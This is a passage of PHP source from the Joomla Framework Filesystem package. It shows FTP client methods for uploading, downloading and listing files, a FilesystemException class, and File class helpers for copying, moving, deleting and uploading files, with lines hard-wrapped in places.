				sprintf(
					'%1$s: Bad response.  Server response: %2$s [Expected: 350]. 
Restart point sent: %3$s', __METHOD__, $this->response, $point
				)
			);
		}

		return true;
	}

	/**
	 * Method to create an empty file on the FTP server
	 *
	 * @param   string  $path  Path local file to store on the FTP server
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function create($path)
	{
		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			// Turn passive mode on
			if (@ftp_pasv($this->conn, true) === false)
			{
				throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
			}

			$buffer = fopen('buffer://tmp', 'r');

			if (@ftp_fput($this->conn, $path, $buffer, \FTP_ASCII) === false)
			{
				fclose($buffer);

				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}

			fclose($buffer);

			return true;
		}

		// Start passive mode
		if (!$this->_passive())
		{
			throw new FilesystemException(__METHOD__ . ': Unable to use passive
mode.');
		}

		if (!$this->_putCmd('STOR ' . $path, array(150, 125)))
		{
			@ fclose($this->dataconn);

			throw new FilesystemException(
				sprintf('%1$s: Bad response.  Server response: %2$s [Expected: 150
or 125].  Path sent: %3$s', __METHOD__, $this->response, $path)
			);
		}

		// To create a zero byte upload close the data port connection
		fclose($this->dataconn);

		if (!$this->_verifyResponse(226))
		{
			throw new FilesystemException(
				sprintf('%1$s: Transfer failed.  Server response: %2$s [Expected:
226].  Path sent: %3$s', __METHOD__, $this->response, $path)
			);
		}

		return true;
	}

	/**
	 * Method to read a file from the FTP server's contents into a buffer
	 *
	 * @param   string  $remote  Path to remote file to read on the FTP server
	 * @param   string  $buffer  Buffer variable to read file contents into
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function read($remote, &$buffer)
	{
		// Determine file type
		$mode = $this->_findMode($remote);

		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			// Turn passive mode on
			if (@ftp_pasv($this->conn, true) === false)
			{
				throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
			}

			$tmp = fopen('buffer://tmp', 'br+');

			if (@ftp_fget($this->conn, $tmp, $remote, $mode) === false)
			{
				fclose($tmp);

				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}

			// Read tmp buffer contents
			rewind($tmp);
			$buffer = '';

			while (!feof($tmp))
			{
				$buffer .= fread($tmp, 8192);
			}

			fclose($tmp);

			return true;
		}

		$this->_mode($mode);

		// Start passive mode
		if (!$this->_passive())
		{
			throw new FilesystemException(__METHOD__ . ': Unable to use passive
mode.');
		}

		if (!$this->_putCmd('RETR ' . $remote, array(150, 125)))
		{
			@ fclose($this->dataconn);

			throw new FilesystemException(
				sprintf('%1$s: Bad response.  Server response: %2$s [Expected: 150
or 125].  Path sent: %3$s', __METHOD__, $this->response, $remote)
			);
		}

		// Read data from data port connection and add to the buffer
		$buffer = '';

		while (!feof($this->dataconn))
		{
			$buffer .= fread($this->dataconn, 4096);
		}

		// Close the data port connection
		fclose($this->dataconn);

		// Let's try to cleanup some line endings if it is ascii
		if ($mode == \FTP_ASCII)
		{
			$os = 'UNIX';

			if (\defined('PHP_WINDOWS_VERSION_MAJOR'))
			{
				$os = 'WIN';
			}

			$buffer = preg_replace('/' . CRLF . '/',
$this->lineEndings[$os], $buffer);
		}

		if (!$this->_verifyResponse(226))
		{
			throw new FilesystemException(
				sprintf(
					'%1$s: Transfer failed.  Server response: %2$s [Expected: 226]. 
Restart point sent: %3$s',
					__METHOD__, $this->response, $remote
				)
			);
		}

		return true;
	}

	/**
	 * Method to get a file from the FTP server and save it to a local file
	 *
	 * @param   string  $local   Local path to save remote file to
	 * @param   string  $remote  Path to remote file to get on the FTP server
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function get($local, $remote)
	{
		// Determine file type
		$mode = $this->_findMode($remote);

		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			// Turn passive mode on
			if (@ftp_pasv($this->conn, true) === false)
			{
				throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
			}

			if (@ftp_get($this->conn, $local, $remote, $mode) === false)
			{
				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}

			return true;
		}

		$this->_mode($mode);

		// Check to see if the local file can be opened for writing
		$fp = fopen($local, 'wb');

		if (!$fp)
		{
			throw new FilesystemException(sprintf('%1$s: Unable to open local
file for writing.  Local path: %2$s', __METHOD__, $local));
		}

		// Start passive mode
		if (!$this->_passive())
		{
			throw new FilesystemException(__METHOD__ . ': Unable to use passive
mode.');
		}

		if (!$this->_putCmd('RETR ' . $remote, array(150, 125)))
		{
			@ fclose($this->dataconn);

			throw new FilesystemException(
				sprintf('%1$s: Bad response.  Server response: %2$s [Expected: 150
or 125].  Path sent: %3$s', __METHOD__, $this->response, $remote)
			);
		}

		// Read data from data port connection and add to the buffer
		while (!feof($this->dataconn))
		{
			$buffer = fread($this->dataconn, 4096);
			fwrite($fp, $buffer, 4096);
		}

		// Close the data port connection and file pointer
		fclose($this->dataconn);
		fclose($fp);

		if (!$this->_verifyResponse(226))
		{
			throw new FilesystemException(
				sprintf('%1$s: Transfer failed.  Server response: %2$s [Expected:
226].  Path sent: %3$s', __METHOD__, $this->response, $remote)
			);
		}

		return true;
	}

	/**
	 * Method to store a file to the FTP server
	 *
	 * @param   string  $local   Path to local file to store on the FTP server
	 * @param   string  $remote  FTP path to file to create
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function store($local, $remote = null)
	{
		// If remote file is not given, use the filename of the local file in the
current
		// working directory.
		if ($remote == null)
		{
			$remote = basename($local);
		}

		// Determine file type
		$mode = $this->_findMode($remote);

		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			// Turn passive mode on
			if (@ftp_pasv($this->conn, true) === false)
			{
				throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
			}

			if (@ftp_put($this->conn, $remote, $local, $mode) === false)
			{
				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}

			return true;
		}

		$this->_mode($mode);

		// Check to see if the local file exists and if so open it for reading
		if (@ file_exists($local))
		{
			$fp = fopen($local, 'rb');

			if (!$fp)
			{
				throw new FilesystemException(sprintf('%1$s: Unable to open local
file for reading. Local path: %2$s', __METHOD__, $local));
			}
		}
		else
		{
			throw new FilesystemException(sprintf('%1$s: Unable to find local
file. Local path: %2$s', __METHOD__, $local));
		}

		// Start passive mode
		if (!$this->_passive())
		{
			@ fclose($fp);

			throw new FilesystemException(__METHOD__ . ': Unable to use passive
mode.');
		}

		// Send store command to the FTP server
		if (!$this->_putCmd('STOR ' . $remote, array(150, 125)))
		{
			@ fclose($fp);
			@ fclose($this->dataconn);

			throw new FilesystemException(
				sprintf('%1$s: Bad response.  Server response: %2$s [Expected: 150
or 125].  Path sent: %3$s', __METHOD__, $this->response, $remote)
			);
		}

		// Do actual file transfer, read local file and write to data port
connection
		while (!feof($fp))
		{
			$line = fread($fp, 4096);

			do
			{
				if (($result = @ fwrite($this->dataconn, $line)) === false)
				{
					throw new FilesystemException(__METHOD__ . ': Unable to write to
data port socket');
				}

				$line = substr($line, $result);
			}
			while ($line != '');
		}

		fclose($fp);
		fclose($this->dataconn);

		if (!$this->_verifyResponse(226))
		{
			throw new FilesystemException(
				sprintf('%1$s: Transfer failed.  Server response: %2$s [Expected:
226].  Path sent: %3$s', __METHOD__, $this->response, $remote)
			);
		}

		return true;
	}

	/**
	 * Method to write a string to the FTP server
	 *
	 * @param   string  $remote  FTP path to file to write to
	 * @param   string  $buffer  Contents to write to the FTP server
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function write($remote, $buffer)
	{
		// Determine file type
		$mode = $this->_findMode($remote);

		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			// Turn passive mode on
			if (@ftp_pasv($this->conn, true) === false)
			{
				throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
			}

			$tmp = fopen('buffer://tmp', 'br+');
			fwrite($tmp, $buffer);
			rewind($tmp);

			if (@ftp_fput($this->conn, $remote, $tmp, $mode) === false)
			{
				fclose($tmp);

				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}

			fclose($tmp);

			return true;
		}

		// First we need to set the transfer mode
		$this->_mode($mode);

		// Start passive mode
		if (!$this->_passive())
		{
			throw new FilesystemException(__METHOD__ . ': Unable to use passive
mode.');
		}

		// Send store command to the FTP server
		if (!$this->_putCmd('STOR ' . $remote, array(150, 125)))
		{
			@ fclose($this->dataconn);

			throw new FilesystemException(
				sprintf('%1$s: Bad response.  Server response: %2$s [Expected: 150
or 125].  Path sent: %3$s', __METHOD__, $this->response, $remote)
			);
		}

		// Write buffer to the data connection port
		do
		{
			if (($result = @ fwrite($this->dataconn, $buffer)) === false)
			{
				throw new FilesystemException(__METHOD__ . ': Unable to write to
data port socket.');
			}

			$buffer = substr($buffer, $result);
		}
		while ($buffer != '');

		// Close the data connection port [Data transfer complete]
		fclose($this->dataconn);

		// Verify that the server recieved the transfer
		if (!$this->_verifyResponse(226))
		{
			throw new FilesystemException(
				sprintf('%1$s: Transfer failed.  Server response: %2$s [Expected:
226].  Path sent: %3$s', __METHOD__, $this->response, $remote)
			);
		}

		return true;
	}

	/**
	 * Method to list the filenames of the contents of a directory on the FTP
server
	 *
	 * Note: Some servers also return folder names. However, to be sure to
list folders on all
	 * servers, you should use listDetails() instead if you also need to deal
with folders
	 *
	 * @param   string  $path  Path local file to store on the FTP server
	 *
	 * @return  string  Directory listing
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function listNames($path = null)
	{
		$data = null;

		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			// Turn passive mode on
			if (@ftp_pasv($this->conn, true) === false)
			{
				throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
			}

			if (($list = @ftp_nlist($this->conn, $path)) === false)
			{
				// Workaround for empty directories on some servers
				if ($this->listDetails($path, 'files') === array())
				{
					return array();
				}

				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}

			$list = preg_replace('#^' . preg_quote($path, '#') .
'[/\\\\]?#', '', $list);

			if ($keys = array_merge(array_keys($list, '.'),
array_keys($list, '..')))
			{
				foreach ($keys as $key)
				{
					unset($list[$key]);
				}
			}

			return $list;
		}

		// If a path exists, prepend a space
		if ($path != null)
		{
			$path = ' ' . $path;
		}

		// Start passive mode
		if (!$this->_passive())
		{
			throw new FilesystemException(__METHOD__ . ': Unable to use passive
mode.');
		}

		if (!$this->_putCmd('NLST' . $path, array(150, 125)))
		{
			@ fclose($this->dataconn);

			// Workaround for empty directories on some servers
			if ($this->listDetails($path, 'files') === array())
			{
				return array();
			}

			throw new FilesystemException(
				sprintf('%1$s: Bad response.  Server response: %2$s [Expected: 150
or 125].  Path sent: %3$s', __METHOD__, $this->response, $path)
			);
		}

		// Read in the file listing.
		while (!feof($this->dataconn))
		{
			$data .= fread($this->dataconn, 4096);
		}

		fclose($this->dataconn);

		// Everything go okay?
		if (!$this->_verifyResponse(226))
		{
			throw new FilesystemException(
				sprintf('%1$s: Transfer failed.  Server response: %2$s [Expected:
226].  Path sent: %3$s', __METHOD__, $this->response, $path)
			);
		}

		$data = preg_split('/[' . CRLF . ']+/', $data, -1,
\PREG_SPLIT_NO_EMPTY);
		$data = preg_replace('#^' . preg_quote(substr($path, 1),
'#') . '[/\\\\]?#', '', $data);

		if ($keys = array_merge(array_keys($data, '.'),
array_keys($data, '..')))
		{
			foreach ($keys as $key)
			{
				unset($data[$key]);
			}
		}

		return $data;
	}

	/**
	 * Method to list the contents of a directory on the FTP server
	 *
	 * @param   string  $path  Path to the local file to be stored on the FTP
server
	 * @param   string  $type  Return type [raw|all|folders|files]
	 *
	 * @return  string[]  If $type is raw: string Directory listing, otherwise
array of string with file-names
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function listDetails($path = null, $type = 'all')
	{
		$dirList = array();
		$data    = null;
		$regs    = null;

		// TODO: Deal with recurse -- nightmare
		// For now we will just set it to false
		$recurse = false;

		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			// Turn passive mode on
			if (@ftp_pasv($this->conn, true) === false)
			{
				throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
			}

			if (($contents = @ftp_rawlist($this->conn, $path)) === false)
			{
				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}
		}
		else
		{
			// Non Native mode

			// Start passive mode
			if (!$this->_passive())
			{
				throw new FilesystemException(__METHOD__ . ': Unable to use
passive mode.');
			}

			// If a path exists, prepend a space
			if ($path != null)
			{
				$path = ' ' . $path;
			}

			// Request the file listing
			if (!$this->_putCmd(($recurse == true) ? 'LIST -R' :
'LIST' . $path, array(150, 125)))
			{
				@ fclose($this->dataconn);

				throw new FilesystemException(
					sprintf(
						'%1$s: Bad response.  Server response: %2$s [Expected: 150 or
125].  Path sent: %3$s',
						__METHOD__, $this->response, $path
					)
				);
			}

			// Read in the file listing.
			while (!feof($this->dataconn))
			{
				$data .= fread($this->dataconn, 4096);
			}

			fclose($this->dataconn);

			// Everything go okay?
			if (!$this->_verifyResponse(226))
			{
				throw new FilesystemException(
					sprintf('%1$s: Transfer failed.  Server response: %2$s [Expected:
226].  Path sent: %3$s', __METHOD__, $this->response, $path)
				);
			}

			$contents = explode(CRLF, $data);
		}

		// If only raw output is requested we are done
		if ($type == 'raw')
		{
			return $data;
		}

		// If we received the listing of an empty directory, we are done as well
		if (empty($contents[0]))
		{
			return $dirList;
		}

		// If the server returned the number of results in the first response,
let's dump it
		if (strtolower(substr($contents[0], 0, 6)) == 'total ')
		{
			array_shift($contents);

			if (!isset($contents[0]) || empty($contents[0]))
			{
				return $dirList;
			}
		}

		// Regular expressions for the directory listing parsing.
		$regexps = array(
			'UNIX' => '#([-dl][rwxstST-]+).* ([0-9]*)
([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*)'
				. ' ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{1,2}:[0-9]{2})|[0-9]{4})
(.+)#',
			'MAC' => '#([-dl][rwxstST-]+).* ?([0-9
]*)?([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*)'
				. ' ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4})
(.+)#',
			'WIN' => '#([0-9]{2})-([0-9]{2})-([0-9]{2})
+([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)#',
		);

		// Find out the format of the directory listing by matching one of the
regexps
		$osType = null;

		foreach ($regexps as $k => $v)
		{
			if (@preg_match($v, $contents[0]))
			{
				$osType = $k;
				$regexp = $v;

				break;
			}
		}

		if (!$osType)
		{
			throw new FilesystemException(__METHOD__ . ': Unrecognised
directory listing format.');
		}

		/*
		 * Here is where it is going to get dirty....
		 */
		if ($osType == 'UNIX' || $osType == 'MAC')
		{
			foreach ($contents as $file)
			{
				$tmpArray = null;

				if (@preg_match($regexp, $file, $regs))
				{
					$fType = (int) strpos('-dl', $regs[1][0]);

					// $tmpArray['line'] = $regs[0];
					$tmpArray['type']   = $fType;
					$tmpArray['rights'] = $regs[1];

					// $tmpArray['number'] = $regs[2];
					$tmpArray['user']  = $regs[3];
					$tmpArray['group'] = $regs[4];
					$tmpArray['size']  = $regs[5];
					$tmpArray['date']  = @date('m-d',
strtotime($regs[6]));
					$tmpArray['time']  = $regs[7];
					$tmpArray['name']  = $regs[9];
				}

				// If we just want files, do not add a folder
				if ($type == 'files' && $tmpArray['type']
== 1)
				{
					continue;
				}

				// If we just want folders, do not add a file
				if ($type == 'folders' && $tmpArray['type']
== 0)
				{
					continue;
				}

				if (\is_array($tmpArray) && $tmpArray['name'] !=
'.' && $tmpArray['name'] != '..')
				{
					$dirList[] = $tmpArray;
				}
			}
		}
		else
		{
			foreach ($contents as $file)
			{
				$tmpArray = null;

				if (@preg_match($regexp, $file, $regs))
				{
					$fType     = (int) ($regs[7] == '<DIR>');
					$timestamp = strtotime("$regs[3]-$regs[1]-$regs[2]
$regs[4]:$regs[5]$regs[6]");

					// $tmpArray['line'] = $regs[0];
					$tmpArray['type']   = $fType;
					$tmpArray['rights'] = '';

					// $tmpArray['number'] = 0;
					$tmpArray['user']  = '';
					$tmpArray['group'] = '';
					$tmpArray['size']  = (int) $regs[7];
					$tmpArray['date']  = date('m-d', $timestamp);
					$tmpArray['time']  = date('H:i', $timestamp);
					$tmpArray['name']  = $regs[8];
				}

				// If we just want files, do not add a folder
				if ($type == 'files' && $tmpArray['type']
== 1)
				{
					continue;
				}

				// If we just want folders, do not add a file
				if ($type == 'folders' && $tmpArray['type']
== 0)
				{
					continue;
				}

				if (\is_array($tmpArray) && $tmpArray['name'] !=
'.' && $tmpArray['name'] != '..')
				{
					$dirList[] = $tmpArray;
				}
			}
		}

		return $dirList;
	}

	/**
	 * Send command to the FTP server and validate an expected response code
	 *
	 * @param   string  $cmd               Command to send to the FTP server
	 * @param   mixed   $expectedResponse  Integer response code or array of
integer response codes
	 *
	 * @return  boolean  True if command executed successfully
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	protected function _putCmd($cmd, $expectedResponse)
	{
		// Make sure we have a connection to the server
		if (!\is_resource($this->conn))
		{
			throw new FilesystemException(__METHOD__ . ': Not connected to the
control port.');
		}

		// Send the command to the server
		if (!fwrite($this->conn, $cmd . "\r\n"))
		{
			throw new FilesystemException(sprintf('%1$s: Unable to send
command: %2$s', __METHOD__, $cmd));
		}

		return $this->_verifyResponse($expectedResponse);
	}

	/**
	 * Verify the response code from the server and log response if flag is
set
	 *
	 * @param   mixed  $expected  Integer response code or array of integer
response codes
	 *
	 * @return  boolean  True if response code from the server is expected
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	protected function _verifyResponse($expected)
	{
		$parts = null;

		// Wait for a response from the server, but timeout after the set time
limit
		$endTime        = time() + $this->timeout;
		$this->response = '';

		do
		{
			$this->response .= fgets($this->conn, 4096);
		}
		while (!preg_match('/^([0-9]{3})(-(.*' . CRLF . ')+\\1)?
[^' . CRLF . ']+' . CRLF . '$/',
$this->response, $parts) && time() < $endTime);

		// Catch a timeout or bad response
		if (!isset($parts[1]))
		{
			throw new FilesystemException(
				sprintf(
					'%1$s: Timeout or unrecognised response while waiting for a
response from the server. Server response: %2$s',
					__METHOD__, $this->response
				)
			);
		}

		// Separate the code from the message
		$this->responseCode = $parts[1];
		$this->responseMsg  = $parts[0];

		// Did the server respond with the code we wanted?
		if (\is_array($expected))
		{
			if (\in_array($this->responseCode, $expected))
			{
				$retval = true;
			}
			else
			{
				$retval = false;
			}
		}
		else
		{
			if ($this->responseCode == $expected)
			{
				$retval = true;
			}
			else
			{
				$retval = false;
			}
		}

		return $retval;
	}

	/**
	 * Set server to passive mode and open a data port connection
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	protected function _passive()
	{
		$match = array();
		$parts = array();
		$errno = null;
		$err   = null;

		// Make sure we have a connection to the server
		if (!\is_resource($this->conn))
		{
			throw new FilesystemException(__METHOD__ . ': Not connected to the
control port.');
		}

		// Request a passive connection - this means, we'll talk to you, you
don't talk to us.
		@ fwrite($this->conn, "PASV\r\n");

		// Wait for a response from the server, but timeout after the set time
limit
		$endTime        = time() + $this->timeout;
		$this->response = '';

		do
		{
			$this->response .= fgets($this->conn, 4096);
		}
		while (!preg_match('/^([0-9]{3})(-(.*' . CRLF . ')+\\1)?
[^' . CRLF . ']+' . CRLF . '$/',
$this->response, $parts) && time() < $endTime);

		// Catch a timeout or bad response
		if (!isset($parts[1]))
		{
			throw new FilesystemException(
				sprintf(
					'%1$s: Timeout or unrecognised response while waiting for a
response from the server. Server response: %2$s',
					__METHOD__, $this->response
				)
			);
		}

		// Separate the code from the message
		$this->responseCode = $parts[1];
		$this->responseMsg  = $parts[0];

		// If it's not 227, we weren't given an IP and port, which
means it failed.
		if ($this->responseCode != 227)
		{
			throw new FilesystemException(
				sprintf('%1$s: Unable to obtain IP and port for data transfer.
Server response: %2$s', __METHOD__, $this->responseMsg)
			);
		}

		// Snatch the IP and port information, or die horribly trying...
		if
(preg_match('~\((\d+),\s*(\d+),\s*(\d+),\s*(\d+),\s*(\d+)(?:,\s*(\d+))\)~',
$this->responseMsg, $match) == 0)
		{
			throw new FilesystemException(
				sprintf('%1$s: IP and port for data transfer not valid. Server
response: %2$s', __METHOD__, $this->responseMsg)
			);
		}

		// This is pretty simple - store it for later use ;).
		$this->pasv = array('ip' => $match[1] . '.' .
$match[2] . '.' . $match[3] . '.' . $match[4],
'port' => $match[5] * 256 + $match[6]);

		// Connect, assuming we've got a connection.
		$this->dataconn = @fsockopen($this->pasv['ip'],
$this->pasv['port'], $errno, $err, $this->timeout);

		if (!$this->dataconn)
		{
			throw new FilesystemException(
				sprintf(
					'%1$s: Could not connect to host %2$s on port %3$s. Socket error
number: %4$s and error message: %5$s',
					__METHOD__,
					$this->pasv['ip'],
					$this->pasv['port'],
					$errno,
					$err
				)
			);
		}

		// Set the timeout for this connection
		socket_set_timeout($this->conn, $this->timeout, 0);

		return true;
	}

	/**
	 * Method to find out the correct transfer mode for a specific file
	 *
	 * @param   string  $fileName  Name of the file
	 *
	 * @return  integer Transfer-mode for this filetype [FTP_ASCII|FTP_BINARY]
	 *
	 * @since   1.0
	 */
	protected function _findMode($fileName)
	{
		if ($this->type == FTP_AUTOASCII)
		{
			$dot = strrpos($fileName, '.') + 1;
			$ext = substr($fileName, $dot);

			if (\in_array($ext, $this->autoAscii))
			{
				$mode = \FTP_ASCII;
			}
			else
			{
				$mode = \FTP_BINARY;
			}
		}
		elseif ($this->type == \FTP_ASCII)
		{
			$mode = \FTP_ASCII;
		}
		else
		{
			$mode = \FTP_BINARY;
		}

		return $mode;
	}

	/**
	 * Set transfer mode
	 *
	 * @param   integer  $mode  Integer representation of data transfer mode
[1:Binary|0:Ascii]
	 *                          Defined constants can also be used
[FTP_BINARY|FTP_ASCII]
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	protected function _mode($mode)
	{
		if ($mode == \FTP_BINARY)
		{
			if (!$this->_putCmd('TYPE I', 200))
			{
				throw new FilesystemException(
					sprintf('%1$s: Bad response. Server response: %2$s [Expected:
200]. Mode sent: Binary', __METHOD__, $this->response)
				);
			}
		}
		else
		{
			if (!$this->_putCmd('TYPE A', 200))
			{
				throw new FilesystemException(
					sprintf('%1$s: Bad response. Server response: %2$s [Expected:
200]. Mode sent: ASCII', __METHOD__, $this->response)
				);
			}
		}

		return true;
	}
}
<?php
/**
 * Part of the Joomla Framework Filesystem Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filesystem\Exception;

/**
 * Exception class for handling errors in the Filesystem package
 *
 * @since  1.2.0
 */
class FilesystemException extends \RuntimeException
{
}
<?php
/**
 * Part of the Joomla Framework Filesystem Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filesystem;

use Joomla\Filesystem\Exception\FilesystemException;

/**
 * A File handling class
 *
 * @since  1.0
 */
class File
{
	/**
	 * Strips the last extension off of a file name
	 *
	 * @param   string  $file  The file name
	 *
	 * @return  string  The file name without the extension
	 *
	 * @since   1.0
	 */
	public static function stripExt($file)
	{
		return preg_replace('#\.[^.]*$#', '', $file);
	}

	/**
	 * Makes the file name safe to use
	 *
	 * @param   string  $file        The name of the file [not full path]
	 * @param   array   $stripChars  Array of regex (by default will remove
any leading periods)
	 *
	 * @return  string  The sanitised string
	 *
	 * @since   1.0
	 */
	public static function makeSafe($file, array $stripChars =
array('#^\.#'))
	{
		$regex = array_merge(array('#(\.){2,}#',
'#[^A-Za-z0-9\.\_\- ]#'), $stripChars);

		$file = preg_replace($regex, '', $file);

		// Remove any trailing dots, as those aren't ever valid file names.
		$file = rtrim($file, '.');

		return $file;
	}

	/**
	 * Copies a file
	 *
	 * @param   string   $src         The path to the source file
	 * @param   string   $dest        The path to the destination file
	 * @param   string   $path        An optional base path to prefix to the
file names
	 * @param   boolean  $useStreams  True to use streams
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 * @throws  \UnexpectedValueException
	 */
	public static function copy($src, $dest, $path = null, $useStreams =
false)
	{
		// Prepend a base path if it exists
		if ($path)
		{
			$src  = Path::clean($path . '/' . $src);
			$dest = Path::clean($path . '/' . $dest);
		}

		// Check src path
		if (!is_readable($src))
		{
			throw new \UnexpectedValueException(__METHOD__ . ': Cannot find or
read file: ' . $src);
		}

		if ($useStreams)
		{
			$stream = Stream::getStream();

			if (!$stream->copy($src, $dest, null, false))
			{
				throw new FilesystemException(sprintf('%1$s(%2$s, %3$s):
%4$s', __METHOD__, $src, $dest, $stream->getError()));
			}

			return true;
		}

		if (!@ copy($src, $dest))
		{
			throw new FilesystemException(__METHOD__ . ': Copy failed.');
		}

		return true;
	}

	/**
	 * Delete a file or array of files
	 *
	 * @param   mixed  $file  The file name or an array of file names
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public static function delete($file)
	{
		$files = (array) $file;

		foreach ($files as $file)
		{
			$file     = Path::clean($file);
			$filename = basename($file);

			if (!Path::canChmod($file))
			{
				throw new FilesystemException(__METHOD__ . ': Failed deleting
inaccessible file ' . $filename);
			}

			// Try making the file writable first. If it's read-only, it
can't be deleted
			// on Windows, even if the parent folder is writable
			@chmod($file, 0777);

			// In case of restricted permissions we zap it one way or the other
			// as long as the owner is either the webserver or the ftp
			if (!@ unlink($file))
			{
				throw new FilesystemException(__METHOD__ . ': Failed deleting
' . $filename);
			}
		}

		return true;
	}

	/**
	 * Moves a file
	 *
	 * @param   string   $src         The path to the source file
	 * @param   string   $dest        The path to the destination file
	 * @param   string   $path        An optional base path to prefix to the
file names
	 * @param   boolean  $useStreams  True to use streams
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public static function move($src, $dest, $path = '', $useStreams
= false)
	{
		if ($path)
		{
			$src  = Path::clean($path . '/' . $src);
			$dest = Path::clean($path . '/' . $dest);
		}

		// Check src path
		if (!is_readable($src))
		{
			return 'Cannot find source file.';
		}

		if ($useStreams)
		{
			$stream = Stream::getStream();

			if (!$stream->move($src, $dest, null, false))
			{
				throw new FilesystemException(__METHOD__ . ': ' .
$stream->getError());
			}

			return true;
		}

		if (!@ rename($src, $dest))
		{
			throw new FilesystemException(__METHOD__ . ': Rename
failed.');
		}

		return true;
	}

	/**
	 * Write contents to a file
	 *
	 * @param   string   $file          The full file path
	 * @param   string   $buffer        The buffer to write
	 * @param   boolean  $useStreams    Use streams
	 * @param   boolean  $appendToFile  Append to the file and not overwrite
it.
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.0
	 */
	public static function write($file, &$buffer, $useStreams = false,
$appendToFile = false)
	{
		@set_time_limit(ini_get('max_execution_time'));

		// If the destination directory doesn't exist we need to create it
		if (!file_exists(\dirname($file)))
		{
			Folder::create(\dirname($file));
		}

		if ($useStreams)
		{
			$stream = Stream::getStream();

			// Beef up the chunk size to a meg
			$stream->set('chunksize', (1024 * 1024));
			$stream->writeFile($file, $buffer, $appendToFile);

			return true;
		}

		$file = Path::clean($file);

		// Set the required flag to only append to the file and not overwrite it
		if ($appendToFile === true)
		{
			return \is_int(file_put_contents($file, $buffer, \FILE_APPEND));
		}

		return \is_int(file_put_contents($file, $buffer));
	}

	/**
	 * Moves an uploaded file to a destination folder
	 *
	 * @param   string   $src         The name of the php (temporary) uploaded
file
	 * @param   string   $dest        The path (including filename) to move
the uploaded file to
	 * @param   boolean  $useStreams  True to use streams
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public static function upload($src, $dest, $useStreams = false)
	{
		// Ensure that the path is valid and clean
		$dest = Path::clean($dest);

		// Create the destination directory if it does not exist
		$baseDir = \dirname($dest);

		if (!is_dir($baseDir))
		{
			Folder::create($baseDir);
		}

		if ($useStreams)
		{
			$stream = Stream::getStream();

			if (!$stream->upload($src, $dest, null, false))
			{
				throw new FilesystemException(sprintf('%1$s(%2$s, %3$s):
%4$s', __METHOD__, $src, $dest, $stream->getError()));
			}

			return true;
		}

		if (is_writable($baseDir) && move_uploaded_file($src, $dest))
		{
			// Short circuit to prevent file permission errors
			if (Path::setPermissions($dest))
			{
				return true;
			}

			throw new FilesystemException(__METHOD__ . ': Failed to change file
permissions.');
		}

		throw new FilesystemException(__METHOD__ . ': Failed to move
file.');
	}
}
<?php
/**
 * Part of the Joomla Framework Filesystem Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filesystem;

use Joomla\Filesystem\Exception\FilesystemException;

/**
 * A Folder handling class
 *
 * @since  1.0
 */
abstract class Folder
{
	/**
	 * Copy a folder.
	 *
	 * @param   string   $src         The path to the source folder.
	 * @param   string   $dest        The path to the destination folder.
	 * @param   string   $path        An optional base path to prefix to the
file names.
	 * @param   boolean  $force       Force copy.
	 * @param   boolean  $useStreams  Optionally force folder/file overwrites.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
